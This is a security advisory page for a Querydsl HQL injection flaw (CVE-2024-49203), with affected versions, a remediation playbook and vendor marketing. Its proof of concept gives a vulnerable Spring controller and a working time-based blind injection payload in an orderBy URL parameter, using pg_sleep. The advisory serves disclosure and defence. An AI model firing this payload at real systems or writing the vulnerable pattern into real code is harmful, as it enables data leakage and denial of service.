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Maven

GHSA-6q3q-6v5j-h6vg

HIGH

Querydsl vulnerable to HQL injection through orderBy

Also known asCVE-2024-49203
Published
Nov 27, 2024
Updated
Oct 13, 2025
Affected
6 pkgs
Patched
4 / 6
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk31th percentile+0.18%
0.00%0.30%0.59%0.89%0.1%0.4%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

6 pkgs affected
io.github.openfeign.querydsl:querydsl-jpaio.github.openfeign.querydsl:querydsl-aptio.github.openfeign.querydsl:querydsl-jpaio.github.openfeign.querydsl:querydsl-aptcom.querydsl:querydsl-jpacom.querydsl:querydsl-apt

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The order by method enables injecting HQL queries. This may cause blind HQL injection, which could lead to leakage of sensitive information, and potentially also Denial Of Service. This vulnerability is present since the original querydsl repository(https://github.com/querydsl/querydsl) where it was assigned preliminary CVE identifier CVE-2024-49203.

Details

Vulnerable code may look as follows:

@GetMapping
public List<Test> getProducts(@RequestParam("orderBy") String orderBy) {
    JPAQuery<Test> query = new JPAQuery<Test>(entityManager).from(test);
    PathBuilder<Test> pathBuilder = new PathBuilder<>(Test.class, "test");

    OrderSpecifier order = new OrderSpecifier(Order.ASC, pathBuilder.get(orderBy));
    JPAQuery<Test> orderedQuery = query.orderBy(order);
    return orderedQuery.fetch();
}

Where vulnerability is either caused by pathBuilder.get(orderBy) or the orderBy(order) method itself, based on where the security checks are expected.

PoC

Full POC code is available in repository: https://github.com/CSIRTTrizna/CVE-2024-49203/ When we take a look at source code shown in Details section the functionality is as follows:

  1. Create JPAQuery object instance:
JPAQuery<Test> query = new JPAQuery<Test>(entityManager).from(test);
  1. Create OrderSpecifier object instance:
PathBuilder<Test> pathBuilder = new PathBuilder<>(Test.class, "test");
OrderSpecifier order = new OrderSpecifier(Order.ASC, pathBuilder.get(orderBy));

Where orderBy variable is user provided input.

  1. order and run the query
JPAQuery<Test> orderedQuery = query.orderBy(order);
orderedQuery.fetch();

When user goes to URL /products?orderBy=name+INTERSECT+SELECT+t+FROM+Test+t+WHERE+(SELECT+cast(pg_sleep(10) AS text))='2'+ORDER+BY+t.id The generated query will look something like this:

select test                                                                                                                                     
from Test test
order by test.name INTERSECT SELECT t FROM Test t WHERE (SELECT cast(pg_sleep(10) AS text))='2' ORDER BY t.id asc

Environment

Library versions used in proof of concept to reproduce the vulnerability:

querydsl-jpa: 6.8.0
querydsl-apt: 6.8.0
hibernate-core: 6.1.1.Final
jakarta.persistence-api: 3.1.0
postgresql: 42.7.4

Impact

The vulnerability is HQL injection, so anyone using source code similar to one provided in details is exposed to potentional information leakage and denial of service.

Affected Packages

6 total 4 fixed
EcosystemPackageVulnerable rangeFix
Mavenio.github.openfeign.querydsl:querydsl-jpa6.0.0.M1&&< 6.10.16.10.1
Mavenio.github.openfeign.querydsl:querydsl-apt6.0.0.M1&&< 6.10.16.10.1
Mavenio.github.openfeign.querydsl:querydsl-jpaall versions5.6.1
Mavenio.github.openfeign.querydsl:querydsl-aptall versions5.6.1
Mavencom.querydsl:querydsl-jpaall versionsNo fix
Mavencom.querydsl:querydsl-aptall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.github.openfeign.querydsl:querydsl-jpa. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update io.github.openfeign.querydsl:querydsl-jpa to 6.10.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6q3q-6v5j-h6vg is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-6q3q-6v5j-h6vg is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-6q3q-6v5j-h6vg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The order by method enables injecting HQL queries. This may cause blind HQL injection, which could lead to leakage of sensitive information, and potentially also Denial Of Service. This vulnerability is present since the original querydsl repository(https://github.com/querydsl/querydsl) where it was assigned preliminary CVE identifier **CVE-2024-49203**. ### Details Vulnerable code may look as follows: ``` @GetMapping public List<Test> getProducts(@RequestParam("orderBy") String orderBy) { JPAQuery<Test> query = new JPAQuery<Test>(entityManager).from(test); PathBuilder<Tes
O3 Security · Impact-Aware SCA

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